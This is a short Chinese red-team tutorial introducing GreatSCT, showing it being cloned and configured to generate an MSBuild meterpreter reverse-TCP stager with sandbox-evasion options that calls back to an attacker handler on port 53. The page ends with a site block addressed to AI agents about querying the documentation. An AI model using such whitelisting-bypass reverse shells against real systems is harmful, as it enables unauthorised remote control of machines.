# 第十八课：红蓝对抗渗透测试3

**注：**请多喝点热水或者凉白开，可预防**肾结石，通风**等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

工具介绍：\
<https://github.com/GreatSCT/GreatSCT>

## 简介：

GreatSCT 是以 metasploit payload 为核心，白名单辅助 payload 执行框架。

```bash
root@John:~# git clone https://github.com/GreatSCT/GreatSCT.git
Cloning into 'GreatSCT'...
remote: Enumerating objects: 727, done.
remote: Total 727 (delta 0), reused 0 (delta 0), pack‐reused 727
Receiving objects: 100% (727/727), 10.64 MiB | 572.00 KiB/s, done.
Resolving deltas: 100% (384/384), done.
```

![](/files/-LZOOwTEWoFSQ5TYOnPO)

![](/files/-LZOOwTGwsPMb-5GkwXq)

![](/files/-LZOOwTIQiM5IabEhiZa)

![](/files/-LZOOwTK0LqG_oZBlBoP)

```bash
===========================================================================
Great Scott!
===========================================================================
===========================================================================

Payload information: 

Name: Pure MSBuild C# Reverse TCP Stager
Language: msbuild
Rating: Excellent
Description: pure windows/meterpreter/reverse_tcp stager, no
shellcode 

Payload: msbuild/meterpreter/rev_tcp selected 

Required Options: 

Name Value Description
‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
DOMAIN X Optional: Required internal domain
EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days
HOSTNAME X Optional: Required system hostname
INJECT_METHOD Virtual Virtual or Heap
LHOST IP of the Metasploit handler
LPORT 4444 Port of the Metasploit handler
PROCESSORS X Optional: Minimum number of processors
SLEEP X Optional: Sleep "Y" seconds, check if accelerated
TIMEZONE X Optional: Check to validate not in UTC
USERNAME X Optional: The required user account

Available Commands: 

back Go back
exit Completely exit GreatSCT
generate Generate the payload
options Show the shellcode's options
set Set shellcode option 

[msbuild/meterpreter/rev_tcp>>] set LHOST 192.168.1.4 41

[msbuild/meterpreter/rev_tcp>>] set LPORT 53
```

> Micropoor


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://micro8.gitbook.io/micro8/contents-1/11-20/18-hong-lan-dui-kang-shen-tou-ce-shi-3.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.